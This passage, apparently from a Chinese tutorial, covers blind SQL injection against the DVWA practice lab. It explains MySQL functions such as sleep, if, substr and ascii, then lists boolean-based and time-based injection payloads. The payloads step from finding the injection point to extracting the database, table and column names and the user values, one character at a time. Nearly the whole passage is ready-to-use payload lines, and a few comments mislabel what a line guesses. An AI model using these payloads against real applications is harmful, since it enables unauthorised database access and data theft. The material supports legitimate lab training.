sleep
、benchmark
等,通过判断这些函数是否正常执行来判断数据库中的数据。if(expr1, expr2, expr3)
: expr1为true则返回expr2,expr1为false则返回expr3。left()
left(str,length)
,如果str或length参数为NULL时,则返回NULL。length()
substr()、substring()
substr(str, pos)
或substr(str, pos, len)
,substring(str, pos)
或substring(str, pos, len)
ascii(str),ord(str)
6. sleep()
- 功能:让语句延迟执行一段时间,执行成功后返回0.
- 语法格式:sleep(N)
,即延迟执行N秒。
benchmark(count,expr)
,即让expr执行count次。 id=1' # //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入
id=1 and length(database())=1 # //判断数据库名长度
id=1 and ascii(substr(database(),1,1))=98 # //猜数据库名
id=1 and (select count(table_name) from information_schema.tables where table_schema=database())=1 # // 猜表的个数
id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1))=103 # // 猜第一个表名的长度
id=1 and (select+count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 # // 猜user表中的字段个数
id=1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7 # //猜user表中第一个字段的长度
id=1 and ascii(substr((select column_name from+information_schema.columns where table_name='users' limit 0,1),1,1))=117 # //猜user表中第一个字段的第一个字母
id=1 and length((select user from dvwa.users limit 0,1))=5 # // 猜user表中user字段内容的长度
id=1 and ascii(substr((select user from dvwa.users limit 0,1),1,1))=97 # //猜user表中中user字段值的首字母
id=1 and sleep(5) # //数字型则等待5秒
id=1' and sleep(5) # //字符型则等待5秒
id=1 and if(length(database())=4,sleep(5),1) # //猜数据库名长度
id=1 and if(ascii((substr(database(),1,1)))=100,sleep(5),1) # //猜数据库名
id=1 and if(select count(table_name) from information_schema.tables where table_schema=database(),sleep(5),1)=1 # // 猜表的个数
id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1))=103,sleep(5),1) # // 猜第一个表名的长度
id=1 and if((select+count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8,sleep(5),1) # // 猜user表中的字段个数
id=1 and if(length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7,sleep(5),1) # //猜user表中第一个字段的长度
id=1 and if(ascii(substr((select column_name from+information_schema.columns where table_name='users' limit 0,1),1,1))=117,sleep(5),1) # //猜user表中第一个字段的第一个字母
id=1 and if(length((select user from dvwa.users limit 0,1))=5,sleep(5),1) # // 猜user表中user字段内容的长度
id=1 and if(ascii(substr((select user from dvwa.users limit 0,1),1,1))=97,sleep(5),1) # //猜user表中中user字段值的首字母